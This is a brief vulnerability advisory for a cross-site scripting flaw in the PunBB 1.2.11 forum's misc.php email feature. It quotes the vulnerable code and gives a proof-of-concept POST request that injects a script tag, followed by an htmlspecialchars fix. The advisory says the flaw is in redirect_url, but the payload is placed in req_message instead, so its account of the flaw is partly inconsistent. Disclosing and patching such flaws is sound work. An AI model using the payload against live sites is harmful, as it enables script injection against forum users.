PunBB 1.2.11 Cross-Site Scripting

File name :- misc.php
Action :- Send Email
Line :- 123

PHP Code:
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']); 
The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request

Code:
GET :-
/PunBB/misc.php?email=2
POST :-
form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
Fix :-

Replace The Line With :-

PHP Code:
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);